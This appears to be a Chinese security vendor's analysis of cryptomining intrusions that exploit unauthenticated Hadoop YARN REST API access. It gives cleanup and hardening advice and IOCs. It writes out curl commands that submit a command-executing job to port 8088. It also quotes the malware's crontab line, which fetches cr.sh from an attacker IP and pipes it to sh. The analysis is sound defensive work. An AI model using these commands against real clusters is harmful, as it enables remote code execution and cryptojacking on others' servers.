Hadoop Yarn REST API未授权漏洞利用挖矿分析
目录
一、背景情况
二、 漏洞说明
攻击步骤:
三、入侵分析
四、安全建议
清理病毒
安全加固
五、IOCs
一、背景情况
5月5日腾讯云安全曾针对攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击,攻击者可以在未授权的情况下远程执行代码的安全问题进行预警,在预警的前后我们曾多次捕获相关的攻击案例,其中就包含利用该问题进行挖矿,我们针对其中一个案例进行分析并提供响应的安全建议和解决方案。
二、 漏洞说明
Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,通过YARN来管理资源。简单的说,用户可以向YARN提交特定应用程序进行执行,其中就允许执行相关包含系统命令。
YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何黑客则就均可利用其进行远程命令执行,从而进行挖矿等行为。
攻击步骤:
1. 申请新的application
直接通过curl进行POST请求
curl -v -X POST
'http://ip:8088/ws/v1/cluster/apps/new-application'
返回内容类似于:
2. 构造并提交任务
构造json文件1.json,内容如下,其中application-id对应上面得到的id,命令内容为尝试在/var/tmp目录下创建11112222_test_111122222文件,内容也为111:
然后直接
curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type:application/json'
http://ip:8088/ws/v1/cluster/apps --data-binary @1.json
即可完成攻击,命令被执行,在相应目录下可以看到生成了对应文件
更多漏洞详情可以参考
http://bbs.qcloud.com/thread-50090-1-1.html
三、入侵分析
在本次分析的案例中,受害机器部署有Hadoop YARN,并且存在未授权访问的安全问题,黑客直接利用开放在8088的REST API提交执行命令,来实现在服务器内下载执行.sh脚本,从而再进一步下载启动挖矿程序达到挖矿的目的。
整个利用过程相对比较简单,通过捕捉Hadoop 的launch_container.sh执行脚本,我们可以看到其中一个案例中相关任务执行的命令:
可以很明显的看到第8行位置,从185.222.210.59下载并执行了一个名为x_wcr.sh的脚本。
在实际过程中,我们从多个案例捕获了多个比如名为cr.sh的不同脚本,但实际的功能代码都差不多,我们对其中一个x_wcr.sh脚本进行分析,代码自上而下内容:
这部分代码主要针对已存在的挖矿进程、文件进行清理。
这部分的代码主要是判断如果/tmp/java是一个存在并且可写的文件,那么就判断其MD5值是否匹配,MD5不匹配则根据w.conf关键词查找并kill进程;如果非可写的文件,则重新赋值DIR变量,这个变量主要用于后面部分代码中下载挖矿等程序存放目录。
然后接着是一些变量的赋值,包括再次判断如果/tmp/java是一个目录,则重新赋值DIR变量;判断curl和wget命令是否存在,存在则赋值到WGET变量;f2则是赋值为某个IP,实则为是后续下载相关文件的服务器之一。
这部分代码是其中比较核心的代码,通过downloadIfNeed方法下载挖矿程序到$DIR目录下并重命名为java,下载w.conf配置文件,给挖矿程序增加执行权限,然后以nohup命令后台运行挖矿程序并删除配置文件;接着检查crontab中的任务,如果不存在对应的任务,就将下载执行脚本的任务"* * * * * $LDR http://185.222.210.59/cr.sh | sh > /dev/null 2>&1"添加到其中,这里$LDR为wget -q -O -或者curl,任务每分钟执行一次。
脚本中还包含了几个嵌套调用的download方法,入口方法是downloadIfNeed:
这个方法的核心功能还是校验已存在的挖矿程序的MD5,如果无法验证或者文件不存在的情况,则直接调用download方法下载挖矿程序;如果文件存在但MD5匹配不正确,则调用download方法后再次验证,验证失败则尝试从另外一个下载渠道https://transfer.sh/WoGXx/zzz下载挖矿程序并再次验证。最后还将相关结果上报到目标服务器$f2的re.php.
tmp.txt内容示例:
download方法判断ppc文件的存在与否和 MD5是否匹配,如果不存在或MD5不匹配则调用download2下载,如果存在则复制重名为java。
download2方法则判断系统下载对应版本的挖矿程序,其中http://185.222.210.59/g.php返回的是另外一个IP地址;下载成功后则再次验证,并复制重命名为ppc。
在脚本的最后部分还有一些进程、文件、crontab清理的处理,用pkill删除满足条件的进程,删除tmp目录下pscd开头的文件,以及说删除crontab中存在某些关键词的任务。
至此,我们完成整个脚本的分析,虽然整个脚本比较冗长,而且似乎各个函数嵌套调用,涉及文件也众多,但其实整体就做了以下几件事:
1.清理相关的进程、文件和crontab任务
2.判断并下载挖矿程序,同时校验MD5值,除了黑客自己控制的服务器,还利用https://transfer.sh提供备用下载,多种方式保障
3.增加脚本下载执行任务添加到crontab里
其实,我们通过查看YARN的日志文件
yarn-root-nodemanager-master.hadoop.log
也可能看到相应的痕迹:
或者我们通过管理UI查看application详情:
而crontab的任务日志也能看到相关的执行记录:
最终在/var/tmp目录下也能找到相关的文件
四、安全建议
清理病毒
1.使用top查看进程,kill掉异常进程
2.检查/tmp和/var/tmp目录,删除java、ppc、w.conf等异常文件
3.检查crontab任务列表,删除异常任务
4.排查YARN日志,确认异常的application,删除处理
安全加固
1.通过iptables或者安全组配置访问策略,限制对8088等端口的访问
2.如无必要,不要将接口开放在公网,改为本地或者内网调用
3.升级Hadoop到2.x版本以上,并启用Kerberos认证功能,禁止匿名访问
4.云镜当前已支持该漏洞检测,同时也支持挖矿木马的发现,建议安装云镜并开通专业版,及时发现漏洞并修复或者在中马后能及时收到提醒进行止损
5.更多自检和修复建议可以参考
http://bbs.qcloud.com/thread-50090-1-1.html
五、IOCs
钱包地址
4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
MD5
1.c8c1f2da51fbd0aea60e11a81236c9dc
2.183664ceb9c4d7179d5345249f1ee0c4
3.b00f4bbd82d2f5ec7c8152625684f853
矿池地址
1.158.69.133.20:3333
2.192.99.142.249:3333
3.202.144.193.110:3333
4.46.30.43.159:80
部分相关URL
1. http://185.222.210.59/x_wcr.sh
2. http://185.222.210.59/re.php
3. http://185.222.210.59/g.php
4. http://185.222.210.59/w.conf
5. http://185.222.210.59/cr.sh
6. http://192.99.142.226:8220/w.conf
7. http://192.99.142.226:8220/xm64
8. http://192.99.142.226:8220/cr.sh
9. http://95.142.40.83/xm64
10. http://95.142.40.83/xm32
11. https://transfer.sh/1o3Kj/zzz
12. https://transfer.sh/wbl5H/pscf
13. https://transfer.sh/WoGXx/zzz
Hadoop Yarn REST API未授权漏洞利用挖矿分析相关推荐
- Memcached 未授权漏洞利用
点击"仙网攻城狮"关注我们哦~ 不当想研发的渗透人不是好运维 让我们每天进步一点点 简介 Memcached是一套常用的key-value缓存系统,由于它本身没有权限控制模块,所以 ...
- redis未授权漏洞的事前、事中、事后、特征信息
一.前言 Redis相关的漏洞存在很长时间了,仍然存在可以利用的情景,本次整理复现下redis相关的漏洞利用,以便以后遇到能够快速建立利用思路. 个人认为漏洞的说法并不严谨.因为其功能设计出来就是为了 ...
- Docker未授权漏洞复现(合天网安实验室)
简介 Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux或Windows操作系统的机器上,也可以实现虚拟化,容器是完全使用 ...
- CDH6.3.2防止被攻击,打补丁(未授权漏洞)
参考:CDH6.3.2Hadoop默认配置下存在未授权漏洞,禁止匿名访问 - 民宿 - 博客园 这段时间公司的运维大佬扫描安全漏洞的时候,发现有漏洞会被攻击,原因是没有新增用户校验,允许匿名去访问.这 ...
- 某OA ajax.do 未授权漏洞任意文件上传getshell复现
某OA ajax.do 未授权漏洞任意文件上传getshell复现 0x00 简介 某OA A8 是一款流行的协同管理软件,在各中.大型企业机构中广泛使用. 由于某旧版本某些接口能被未授权访问,并且部 ...
- Docker远程API未授权访问导致的Docker逃逸
Docker远程API未授权访问导致的Docker逃逸 前言 是给社团学弟学妹们一次讲课的一次md. 服务器 https://cloud.tencent.com/act/campus 当然想要复现学习 ...
- Botnet趋势漏洞利用状况分析
执行摘要 在过去的一年中,世界遭受了新冠疫情的袭击,生产生活受到了极大的影响.但在网络世界中,僵 尸网络作为多年来的主要威胁形式之一,并未受到疫情的影响,反而更加活.今年,绿盟科技和国家 互联网 应急 ...
- docker remote api未授权访问漏洞(端口:2375)
漏洞介绍: 该未授权访问漏洞是因为docker remote api可以执行docker命令,从官方文档可以看出,该接口是目的是取代docker 命令界面,通过url操作docker. docker ...
- 关于docker remote api未授权访问漏洞的学习与研究
漏洞介绍: 该未授权访问漏洞是因为docker remote api可以执行docker命令,从官方文档可以看出,该接口是目的是取代docker 命令界面,通过url操作docker. docker ...
最新文章
- 使用Relay部署编译ONNX模型
- oracle 分区表的建立方法
- ASP.Net MVC框架配置分析详解
- hihoCoder 1092 : Have Lunch Together
- Leetcode--837. 新21点(java)
- zigbee上位机通过vs2019的mfc实现
- 设计模式的C语言应用-责任链模式-第三章
- python 列表切片学习
- 怎样测试通达信软件,最全图文讲解——通达信电脑版和手机版指标安装方法
- 免费好用的视频格式转换器是哪个呢
- 模式识别学习笔记——1(线性分类器)
- Qt Designer位置
- windows副本不是正版提示解决方法
- c# 中通快递对接_C# .net实现中通快递单号查询 快递鸟API接口
- 为什么PPIO要设计支付代理节点?
- docker生态-mysql客户端phpAdmin
- 开发工具:第六章:Java开发者相关的所有软件安装包(35.55GB的资源)
- 《数据结构与算法分析》课程设计——贪吃蛇问题
- Dreamweaver 8 的注册码
- s24.基于 Kubernetes v1.25 (二进制) 和 Docker部署高可用集群
热门文章
- Linux的实际操作:Linux的分区
- 举例子说明什么是迭代什么是递归【转载】
- php 计划任务管理,使用php管理crontab计划任务
- docker 部署_Nginx K8s + Docker 部署 ,虚拟机部署教程。
- uml 类图_UML-类图
- 如何提高Java代码的可重用性?
- android 左移动画_android旋转动画和平移动画详解,补充说一下如果制作gif动画放到csdn博客上...
- 【LeetCode笔记】470. 用Rand7()实现Rand10()(Java、概率)
- 西南大学计算机与信息科学学院陈武,学院副院长——陈武 - 计算机与信息科学学院 - Powered by 西南大学...
- python 栈和队列_python 栈和队列的基本实现